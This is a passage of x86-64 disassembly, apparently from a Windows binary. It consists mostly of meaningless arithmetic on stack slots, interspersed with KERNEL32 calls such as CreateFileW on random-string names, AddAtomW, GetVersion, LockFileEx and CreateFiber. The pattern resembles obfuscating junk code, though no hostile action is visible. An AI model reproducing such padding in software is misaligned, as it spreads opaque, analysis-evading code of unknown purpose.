mov dword [rcx], eax
lea rax, [rsp + 0x2a10]
mov qword [rsp + 0x140a0], rax
movsx eax, byte [rsp + 0x43e]
movsx ecx, byte [rsp + 0x6c8]
shl eax, cl
mov rcx, qword [rsp + 0x13d28]
mov byte [rcx], al
lea rdx, [rsp + 0x12fb0]
mov rcx, qword [rsp + 0x13e08]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa9fc], eax
mov rax, qword [rsp + 0x13a90]
movzx eax, word [rax]
mov rcx, qword [0x140363b98]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2a7c], ax
lea rax, [rsp + 0x6d4]
mov qword [rsp + 0x140a8], rax
mov rax, qword [rsp + 0x13f60]
mov rcx, qword [rsp + 0x13e30]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa970], eax
mov rax, qword [rsp + 0x133d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8ec]
or ecx, eax
mov eax, ecx
mov rcx, qword [0x140363998]
mov dword [rcx], eax
lea rax, [rsp + 0xa7b4]
mov qword [rsp + 0x140b0], rax
mov rax, qword [rsp + 0x13a78]
mov rcx, qword [rsp + 0x13488]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa278], eax
mov rax, qword [rsp + 0x133d0]
mov ecx, dword [rsp + 0xa32c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x87e8], eax
mov rax, qword [rsp + 0x13050]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x132f8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13948]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6b1]
mov rcx, qword [0x140363ae0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13a58]
mov byte [rcx], al
lea rax, [rsp + 0xa99c]
mov qword [rsp + 0x140b8], rax
mov rax, qword [rsp + 0x132a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaaf4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13668]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13ac0]
mov eax, dword [rax]
mov dword [rsp + 0xaba4], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xab94], eax
lea rax, [rsp + 0xab74]
mov qword [0x140363bc0], rax
lea rcx, [rsp + 0x41c28]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x13650]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b4]
sub eax, ecx
mov byte [rsp + 0x416], al
mov rax, qword [rsp + 0x13af0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a88]
or eax, ecx
mov rcx, qword [rsp + 0x13838]
mov word [rcx], ax
mov rax, qword [rsp + 0x13428]
movzx eax, word [rax]
mov word [rsp + 0x2aec], ax
movsx eax, byte [rsp + 0x92]
movsx ecx, byte [rsp + 0x6d5]
add eax, ecx
mov rcx, qword [rsp + 0x136b8]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa994], eax
mov rax, qword [rsp + 0x13a88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x874c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7a90], eax
mov eax, dword [rsp + 0xaa60]
mov ecx, dword [0x14035cc18]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6824], eax
movzx eax, word [rsp + 0x2a84]
mov rcx, qword [rsp + 0x135f8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x29c0], ax
lea rdx, [rsp + 0x45bd0]
mov rcx, qword [rsp + 0x13990]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa92c], eax
movzx eax, byte [0x140353577]
mov byte [rsp + 0x6d6], al
mov rax, qword [rsp + 0x13620]
mov eax, dword [rax]
mov dword [0x140363ba4], eax
mov rax, qword [rsp + 0x13960]
mov ecx, dword [rsp + 0x8428]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x13798]
mov dword [rcx], eax
lea rax, [rsp + 0xaae0]
mov qword [rsp + 0x140c0], rax
mov rax, qword [rsp + 0x13900]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13b78]
mov qword [rsp + 0x140c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x140c8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x13ec8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13f68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x29ec]
or eax, ecx
mov rcx, qword [rsp + 0x138c0]
mov word [rcx], ax
lea rax, [rsp + 0x22a]
mov qword [rsp + 0x140d0], rax
mov rax, qword [rsp + 0x13c20]
mov rcx, qword [rsp + 0x13538]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13db8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x137e8]
mov rcx, qword [rsp + 0x13840]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9c30], eax
mov eax, dword [0x14035cc1c]
mov ecx, dword [rsp + 0x70b8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa868], eax
mov rax, qword [rsp + 0x13d58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa64]
sub ecx, eax
mov eax, ecx
mov dword [0x140363a1c], eax
mov rax, qword [rsp + 0x13970]
mov eax, dword [rax]
mov dword [rsp + 0xaba8], eax
movsx eax, byte [rsp + 0x6c2]
movsx ecx, byte [rsp + 0x6b6]
add eax, ecx
mov byte [rsp + 0x43e], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.F2r2M21zvK7_btEO9bI_vYbigoQxeMTY
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x140d8], rax
lea rcx, [rsp + 0x41b38]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x13a98]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13b88]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2990], ax
movzx eax, word [rsp + 0x299c]
mov word [rsp + 0x2af0], ax
mov rax, qword [rsp + 0x137b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6c0]
and eax, ecx
mov byte [rsp + 0x6be], al
lea rax, [rsp + 0x9e54]
mov qword [rsp + 0x140e0], rax
mov rax, qword [rsp + 0x13c98]
mov ecx, dword [rsp + 0x710c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xaa70], eax
movzx eax, byte [rsp + 0x6b4]
movzx ecx, byte [rsp + 0x43d]
add eax, ecx
mov rcx, qword [rsp + 0x131f8]
mov byte [rcx], al
lea rax, [rsp + 0x1cb4]
mov qword [0x140363bc8], rax
lea rax, [rsp + 0xa9a4]
mov qword [rsp + 0x140e8], rax
mov eax, dword [0x14035cbf8]
movzx ecx, al
mov eax, dword [rsp + 0xa894]
sar eax, cl
mov dword [rsp + 0x6b2c], eax
mov eax, dword [rsp + 0xa9e4]
mov rcx, qword [rsp + 0x13798]
mov qword [rsp + 0x140f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x140f0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6bd8], eax
mov rax, qword [rsp + 0x13b48]
mov ecx, dword [rsp + 0xaad4]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x9c08], eax
mov rax, qword [rsp + 0x13870]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13ce8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x5fb], al
movzx eax, word [rsp + 0x2a58]
mov word [rsp + 0x2af4], ax
mov rax, qword [rsp + 0x13fd8]
mov ecx, dword [rsp + 0x7a74]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa9b0], eax
mov r9d, 0x253a
xor r8d, r8d
lea rdx, [rsp + 0x13bc0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xa964], eax
mov rax, qword [rsp + 0x13aa8]
mov rcx, qword [rsp + 0x13b10]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x8e08], eax
movsx eax, byte [rsp + 0x6b2]
mov rcx, qword [rsp + 0x13288]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x140363a08]
mov byte [rcx], al
movsx eax, word [0x140353b08]
movsx ecx, word [rsp + 0x2a74]
and eax, ecx
mov word [rsp + 0x2ae0], ax
mov rax, qword [rsp + 0x13948]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13400]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1e64], ax
lea rcx, str.Sccq_R8T84y
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2a68], ax
lea rax, [rsp + 0x43d]
mov qword [rsp + 0x140f8], rax
mov rax, qword [rsp + 0x13908]
mov ecx, dword [rsp + 0xaadc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8414], eax
mov rax, qword [rsp + 0x13bb8]
mov eax, dword [rax]
mov dword [rsp + 0xabac], eax
mov rax, qword [rsp + 0x13db8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa974]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d94], eax
lea rax, [rsp + 0xab70]
mov qword [rsp + 0x14100], rax
mov rax, qword [rsp + 0x13b80]
mov ecx, dword [rsp + 0xaae4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x870c], eax
mov rax, qword [rsp + 0x13720]
movzx eax, byte [rax]
mov rcx, qword [0x140363b68]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13630]
mov byte [rcx], al
mov rax, qword [rsp + 0x13d98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13f68]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x14035cc00], ax
lea rax, [rsp + 0xab64]
mov qword [rsp + 0x14108], rax
mov rax, qword [rsp + 0x13bb0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13cd0]
mov qword [rsp + 0x14110], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14110]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x87e8], eax
mov rax, qword [rsp + 0x13828]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa8fc]
sar eax, cl
mov dword [rsp + 0x6650], eax
mov rax, qword [rsp + 0x13ff0]
mov rcx, qword [rsp + 0x13db0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xaaec], eax
movzx eax, word [rsp + 0x209c]
movzx ecx, word [rsp + 0x29a4]
and eax, ecx
mov word [rsp + 0x2a44], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.RaZwTjygDpi8Oe
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14118], rax
lea rax, [rsp + 0x594]
mov qword [rsp + 0x14120], rax
mov rax, qword [rsp + 0x13830]
movsx eax, byte [rax]
movsx ecx, byte [0x14035e4d6]
and eax, ecx
mov rcx, qword [rsp + 0x13d28]
mov byte [rcx], al
movzx eax, word [rsp + 0x2a3c]
mov word [rsp + 0x2af8], ax
mov eax, dword [rsp + 0xa7d0]
mov ecx, dword [rsp + 0xaad4]
add ecx, eax
mov eax, ecx
mov dword [0x14035cc2c], eax
mov rax, qword [rsp + 0x13bf8]
mov rcx, qword [rsp + 0x13588]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa99c], eax
movzx eax, word [rsp + 0x29f8]
mov rcx, qword [rsp + 0x13838]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13ed0]
mov word [rcx], ax
mov rax, qword [rsp + 0x13568]
movzx eax, byte [rax]
mov byte [rsp + 0x6d7], al
mov rax, qword [rsp + 0x13f20]
mov rcx, qword [0x140363a00]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xaacc], eax
lea rax, [rsp + 0xa97c]
mov qword [rsp + 0x14128], rax
mov rax, qword [rsp + 0x13d40]
mov ecx, dword [rsp + 0xaa48]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13ac0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xaa1c]
mov ecx, dword [rsp + 0xa3f4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x65d8], eax
movzx eax, word [rsp + 0x1a2c]
movzx ecx, word [rsp + 0x29d0]
add eax, ecx
mov word [rsp + 0x2a88], ax
mov rax, qword [rsp + 0x13a58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6ca]
sub eax, ecx
mov rcx, qword [0x140363ba8]
mov byte [rcx], al
lea rdx, [rsp + 0x45cb0]
mov rcx, qword [rsp + 0x12ee8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xaae8], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.HmV8AIAM3S0qHw90Ac_tj1PoYNv
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14130], rax
mov rax, qword [rsp + 0x13690]
mov ecx, dword [rsp + 0xab78]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa9dc], eax
lea rax, [rsp + 0x8a30]
mov qword [rsp + 0x14138], rax
mov rax, qword [rsp + 0x13d70]
mov rcx, qword [rsp + 0x13bf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13840]
mov dword [rcx], eax
mov eax, dword [rsp + 0x8398]
mov dword [rsp + 0xabb0], eax
mov rax, qword [rsp + 0x138a8]
mov ecx, dword [rsp + 0x7200]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x92fc], eax
lea rcx, str.Kgzv6uDt.KhF5i_Zv6tLr
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2ad4], ax
mov rax, qword [rsp + 0x13250]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13560]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x9f], al
lea rax, [rsp + 0x2a10]
mov qword [rsp + 0x14140], rax
mov rax, qword [rsp + 0x13cb8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6cf]
sar eax, cl
mov rcx, qword [rsp + 0x134c8]
mov byte [rcx], al
lea rax, [rsp + 0x29f0]
mov qword [0x140363bd0], rax
lea rax, [rsp + 0xab0c]
mov qword [rsp + 0x14148], rax
mov eax, dword [rsp + 0x6304]
mov ecx, dword [rsp + 0xab6c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13920]
mov dword [rcx], eax
movzx eax, word [rsp + 0x29e4]
mov rcx, qword [rsp + 0x132f8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x29ec], ax
movzx eax, byte [0x14035e4d4]
movzx ecx, byte [rsp + 0x6d4]
and eax, ecx
mov byte [rsp + 0x65c], al
mov rax, qword [rsp + 0x13610]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaabc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13c08]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa7bc], eax
lea rax, [rsp + 0xab7c]
mov qword [rsp + 0x14150], rax
movzx ecx, word [rsp + 0x2ab0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2ac0], ax
mov rax, qword [rsp + 0x14070]
mov rcx, qword [rsp + 0x13e78]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa9ec], eax
mov rax, qword [rsp + 0x13660]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7b30]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa4c], eax
movzx eax, word [rsp + 0x2ae4]
mov rcx, qword [rsp + 0x13a90]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x140362c1c], ax
lea rax, [rsp + 0x65c]
mov qword [rsp + 0x14158], rax
mov rax, qword [rsp + 0x13898]
mov ecx, dword [rsp + 0xaaac]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13fa8]
mov dword [rcx], eax
mov eax, dword [0x140363960]
mov dword [rsp + 0xabb4], eax
movsx eax, word [rsp + 0x2a78]
movsx ecx, word [rsp + 0x2a8c]
sub eax, ecx
mov rcx, qword [rsp + 0x13a98]
mov word [rcx], ax
mov rax, qword [rsp + 0x13560]
movzx eax, byte [rax]
mov byte [rsp + 0x6d8], al
movzx eax, byte [rsp + 0x4bc]
movzx ecx, byte [0x140353577]
add eax, ecx
mov rcx, qword [rsp + 0x13e10]
mov byte [rcx], al
movzx eax, word [rsp + 0x29c0]
movzx ecx, word [rsp + 0x17d4]
shl eax, cl
mov word [rsp + 0x29a0], ax
lea rax, [rsp + 0xaa98]
mov qword [rsp + 0x14160], rax
lea rax, [0x140363960]
mov qword [0x140363bd8], rax
mov rax, qword [rsp + 0x136f0]
mov ecx, dword [rsp + 0x8428]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x9564], eax
lea rax, [rsp + 0xa2a4]
mov qword [rsp + 0x14168], rax
mov rax, qword [rsp + 0x13df0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x136e0]
mov qword [rsp + 0x14170], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14170]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x13588]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13a90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13de0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2a54], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.OqBBsNPylVZA4XpKhP7ku
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14178], rax
lea rax, [rsp + 0xb4]
mov qword [rsp + 0x14180], rax
mov rax, qword [rsp + 0x138d0]
mov ecx, dword [rsp + 0xaaf8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13628]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa970]
mov ecx, dword [rsp + 0xa87c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6674], eax
mov eax, dword [rsp + 0xa9e0]
mov ecx, dword [rsp + 0xa9b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x80ac], eax
mov rax, qword [0x1403639f8]
mov eax, dword [rax]
mov dword [0x140363be0], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xab80], eax
mov rax, qword [rsp + 0x13400]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2af0]
and eax, ecx
mov word [rsp + 0x2ad0], ax
lea rax, [rsp + 0x6b3]
mov qword [rsp + 0x14188], rax
mov rax, qword [rsp + 0x13560]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x136a0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x305], al
lea rax, [rsp + 0x2ad8]
mov qword [rsp + 0x14190], rax
mov rax, qword [rsp + 0x12f48]
mov rcx, qword [rsp + 0x13f88]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6e80], eax
mov r9d, 2
lea r8, [rsp + 0x14028]
mov rdx, qword [rsp + 0x13268]
mov rcx, qword [rsp + 0x13528]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xaa10], eax
mov rax, qword [rsp + 0x13ee8]
mov eax, dword [rax]
mov dword [rsp + 0xabb8], eax
movzx eax, word [rsp + 0x1778]
mov rcx, qword [rsp + 0x13500]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x134d8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6c3]
movzx ecx, byte [rsp + 0x6cb]
sub eax, ecx
mov byte [rsp + 0x6b1], al
mov rax, qword [rsp + 0x139c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9134]
and ecx, eax
mov eax, ecx
mov rcx, qword [0x140363b10]
mov dword [rcx], eax
lea rax, [rsp + 0xaae0]
mov qword [rsp + 0x14198], rax
mov rax, qword [rsp + 0x138d0]
mov rcx, qword [rsp + 0x13cb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa920], eax
lea rax, [0x140363ba4]
mov qword [rsp + 0x141a0], rax
movzx eax, word [rsp + 0x19f8]
movzx ecx, word [rsp + 0x2a30]
sar eax, cl
mov word [rsp + 0x144c], ax
movzx eax, byte [rsp + 0x594]
mov rcx, qword [0x140363aa8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x22a], al
mov rax, qword [rsp + 0x13478]
mov ecx, dword [rsp + 0xab58]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x82ec], eax
lea rcx, str.WXCtA_NtJwa1Fg
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2afc], ax
mov rax, qword [rsp + 0x13cd0]
mov ecx, dword [rsp + 0xa978]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13d10]
mov dword [rcx], eax
lea rax, [0x14035cc0c]
mov qword [rsp + 0x141a8], rax
mov eax, dword [rsp + 0xaa60]
mov dword [0x140363be4], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2ac1
mov r9d, 0x1aaa
mov r8d, 0x99c1be4a
mov edx, 1
mov rcx, qword [rsp + 0x13f10]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xa9ac], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov eax, dword [rsp + 0xa9d4]
mov ecx, dword [rsp + 0xaaf8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xab90], eax
mov rax, qword [rsp + 0x13d78]
movsx eax, byte [rax]
mov rcx, qword [0x140363a08]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x132b8]
mov byte [rcx], al
lea rax, [rsp + 0x2a38]
mov qword [rsp + 0x141b0], rax
mov rax, qword [rsp + 0x13458]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14098]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x65c], al
lea rax, [rsp + 0x2a00]
mov qword [rsp + 0x141b8], rax
mov eax, dword [rsp + 0xab38]
mov ecx, dword [rsp + 0xa8d0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14168]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa9c4], eax
mov eax, dword [rsp + 0xa98c]
mov ecx, dword [rsp + 0x8a08]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa99c], eax
movzx eax, byte [rsp + 0x6c0]
mov byte [rsp + 0x6d9], al
movzx eax, word [rsp + 0x1088]
movzx ecx, word [rsp + 0x2aa8]
add eax, ecx
mov rcx, qword [0x140363b88]
mov word [rcx], ax
mov rax, qword [rsp + 0x14128]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa2a4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xaafc], eax
mov eax, dword [rsp + 0x6554]
mov dword [rsp + 0xabbc], eax
mov rax, qword [rsp + 0x13418]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa9b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x920c], eax
mov rax, qword [rsp + 0x13a80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa9c8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8388], eax
mov rax, qword [0x140363af0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x132f8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13a20]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.sBmIyK4Q7GuPmnMC6tZEaLRCYg
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x141c0], rax
movzx eax, byte [rsp + 0x65d]
mov rcx, qword [rsp + 0x13430]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x134b8]
mov byte [rcx], al
lea rax, [rsp + 0xa810]
mov qword [rsp + 0x141c8], rax
mov eax, dword [rsp + 0xab74]
movzx ecx, al
mov eax, dword [rsp + 0xab9c]
sar eax, cl
mov rcx, qword [rsp + 0x13628]
mov dword [rcx], eax
movsx eax, word [rsp + 0x29f4]
movsx ecx, word [rsp + 0x2a10]
shl eax, cl
mov word [0x140362bf4], ax
mov rax, qword [rsp + 0x132b8]
movzx eax, byte [rax]
mov byte [rsp + 0x6da], al
movzx eax, word [rsp + 0x2ad0]
mov rcx, qword [rsp + 0x13af0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x23cc], ax
mov rax, qword [rsp + 0x131f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x23b]
and eax, ecx
mov rcx, qword [rsp + 0x13518]
mov byte [rcx], al
lea rdx, [rsp + 0x45ce8]
mov rcx, qword [rsp + 0x13520]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa958], eax
mov rax, qword [rsp + 0x13d18]
mov eax, dword [rax]
mov ecx, dword [0x140363b0c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7b5c], eax
mov rax, qword [rsp + 0x140e8]
mov rcx, qword [rsp + 0x13ac8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x924c], eax
lea rax, [rsp + 0xa81c]
mov qword [rsp + 0x141d0], rax
mov eax, dword [rsp + 0xab68]
mov ecx, dword [rsp + 0xa91c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13970]
mov dword [rcx], eax
mov rax, qword [rsp + 0x136e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8e08]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13c08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13fa0]
movzx eax, word [rax]
mov word [rsp + 0x2b00], ax
mov rax, qword [0x140363aa8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x140d0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140353596], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.FnqWeOavrZ1pUhp4J
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x141d8], rax
mov rax, qword [rsp + 0x13350]
mov rcx, qword [rsp + 0x137d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7a24], eax
lea rax, [rsp + 0x8db4]
mov qword [rsp + 0x141e0], rax
mov rax, qword [0x1403639d8]
mov ecx, dword [rsp + 0xab48]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13020]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13280]
mov ecx, dword [rsp + 0xa8cc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13c48]
mov dword [rcx], eax
lea rax, [0x14035e4d5]
mov qword [rsp + 0x141e8], rax
movzx eax, word [rsp + 0x1778]
mov rcx, qword [rsp + 0x13ae8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x13240]
mov word [rcx], ax
movzx eax, word [rsp + 0x2ae8]
mov word [rsp + 0x2b04], ax
mov rax, qword [rsp + 0x13288]
movsx eax, byte [rax]
movsx ecx, byte [0x14035e48f]
shl eax, cl
mov rcx, qword [rsp + 0x13560]
mov byte [rcx], al
movzx ecx, word [rsp + 0x2994]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2a4c], ax
lea rdx, [rsp + 0x141f0]
mov rcx, qword [rsp + 0x12ee8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xaa00], eax
lea rax, [rsp + 0x6768]
mov qword [0x140363be8], rax
mov eax, dword [rsp + 0x9370]
mov rcx, qword [rsp + 0x12f20]
mov qword [rsp + 0x141f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x141f8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x66f8], eax
mov rax, qword [rsp + 0x13a90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13768]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x132f8]
